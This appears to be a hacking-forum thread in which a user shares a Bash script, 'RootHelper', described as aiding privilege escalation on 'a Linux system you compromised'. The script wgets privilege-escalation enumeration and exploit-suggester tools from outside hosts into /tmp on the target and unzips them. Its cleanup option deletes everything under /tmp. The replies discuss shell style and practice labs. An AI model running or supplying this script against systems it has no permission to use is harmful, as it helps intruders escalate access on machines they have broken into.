RootHelper new and improved, extra functionality and exploit suggester.

2015-12-23 at 1:06 AM UTC

#1

Sophie Pedophile Tech Support

So if you recall, i made a Bash script that fetches a few scripts helpful with privilege escalation on a Linux box. Well, the old version was not that elegant and if for some reason the mkdir command would be unavailable to the user you are or the shell on the server in general for whatever reason then it wouldn't work. Because it would create subdirectories for each script and only then extract the archives to them. So i made it better by adding an options menu, some help information and the ability to just omit creating the directories and simply downloading the scripts to the /tmp/ folder.

Here is my new code:


#!/bin/bash

function usage()
{ printf "%b \a\n\nRoothelper will aid in the process of privilege escalation on a Linux system you compromised by fetching a number of enumeration
and exploit suggestion scripts. Below is a quick overview of the available options.

The 'Help' option displays this informational message.

The 'Download' option fetches the relevant files and places them in the /tmp/ directory.

The option 'Download and unzip' downloads all files and extracts the contents of zip archives to their individual subdirectories respectively, please
note; if the 'mkdir' command is unavailable however, the operation will not succeed and the 'Download' option should be used instead

The 'Clean up' option removes all downloaded files and 'Quit' exits roothelper.\n "
}

function dzip()
{    echo "Downloading and extracting scripts..."
    `wget -O /tmp/ExploitSuggest.py http://www.securitysift.com/download/linuxprivchecker.py`
    `wget -O /tmp/LinEnum.zip https://github.com/rebootuser/LinEnum/archive/master.zip`                  
    `wget -O /tmp/ExploitSuggest_perl.zip https://github.com/PenturaLabs/Linux_Exploit_Suggester/archive/master.zip`  
    `wget -O /tmp/file3.zip https://github.com/pentestmonkey/unix-privesc-check/archive/1_x.zip`  
    for zip in *.zip
    do
        dirname=`echo $zip | sed 's/\.zip$//'`
        if mkdir $dirname
        then
            if cd $dirname
            then
                unzip ../$zip
                cd ..
                rm -f $zip
            else
                echo "Could not unpack $zip - cd failed"
            fi
        else
            echo "Could not unpack $zip - mkdir failed"
        fi
    done
}

dir="/tmp/"

usage

printf "%b" "\a\n\nTo use roothelper please select an option below.:\n"

PS3='Please enter your choice: '
options=("Help" "Download" "Download and unzip" "Clean up" "Quit")
select opt in "${options[@]}"
do
    case $opt in
        "Help")
            usage
            printf "%b \n"
            ;;
        "Download")
            echo "Downloading scripts to /tmp/"
            `wget -O /tmp/ExploitSuggest.py http://www.securitysift.com/download/linuxprivchecker.py`
            `wget -O /tmp/LinEnum.zip https://github.com/rebootuser/LinEnum/archive/master.zip`                  
            `wget -O /tmp/ExploitSuggest_perl.zip https://github.com/PenturaLabs/Linux_Exploit_Suggester/archive/master.zip`  
            `wget -O /tmp/file3.zip https://github.com/pentestmonkey/unix-privesc-check/archive/1_x.zip`  
            printf "%b \n"
            ;;
        "Download and unzip")
            dzip
            printf "%b \n"
            ;;
        "Clean up")
            echo "Removing downloaded files"
            find $dir/* -exec rm {} \;
            printf "%b \n"
            ;;
        "Quit")
            break
            ;;
        *) echo invalid option;;
    esac
done

As per usual you can download/clone directly from my github as well if you're interested.

https://github.com/NullArray/RootHelper

2016-01-25 at 2:58 PM UTC

#2

Sophie Pedophile Tech Support

Holy honking semantic errors. I fixed it though.

2016-01-25 at 3:58 PM UTC

#3

LiquidIce Houston

Saving for later, +1. +1 for using spaces instead of tabs. -1 for using

instead of

$()

. Overall: +1. :P

2016-01-25 at 4:55 PM UTC

#4

Sophie Pedophile Tech Support

Saving for later, +1. +1 for using spaces instead of tabs. -1 for using
`
instead of
$()
. Overall: +1. :P

What's the benefit of using:

$()

Also if you copied and pasted it make sure you have $dir instead of $PATH because PATH is special syntax, i forgot. So i changed it to $dir.

2016-01-25 at 4:57 PM UTC

#5

EasyDoesIt Tuskegee Airman

Your github gets sexier and sexier, Psycho.

2016-01-25 at 5:11 PM UTC

#6

Sophie Pedophile Tech Support

Your github gets sexier and sexier, Psycho.

Thank you sir i try me hardest.

2016-01-25 at 5:22 PM UTC

#7

EasyDoesIt Tuskegee Airman

Thank you sir i try me hardest.

I'm going to probably set up my new network here pretty soon. After classes I'm going to see what I can do with it.

Maybe I'll make a thread on it.

2016-01-25 at 5:32 PM UTC

#8

LiquidIce Houston

What's the benefit of using:
$()
Also if you copied and pasted it make sure you have $dir instead of $PATH because PATH is special syntax, i forgot. So i changed it to $dir.

Only stylistic - I prefer it for readability. I was sorta joking with the pluses and minuses, didnt know how else to say "good job".

2016-01-25 at 5:42 PM UTC

#9

Sophie Pedophile Tech Support

Only stylistic - I prefer it for readability. I was sorta joking with the pluses and minuses, didnt know how else to say "good job".

Alright. Thank you though.

I'm going to probably set up my new network here pretty soon. After classes I'm going to see what I can do with it.

Maybe I'll make a thread on it.

Sure thing, also if you want to set up some labs/wargames as i think you've alluded to might i suggest going over to vulnhub and look for some fun VM challenges? Also metasploitable is a good VM intended to teach the participant all about metasploit. It's pretty cool.

User Controls

Navigation

RootHelper new and improved, extra functionality and exploit suggester.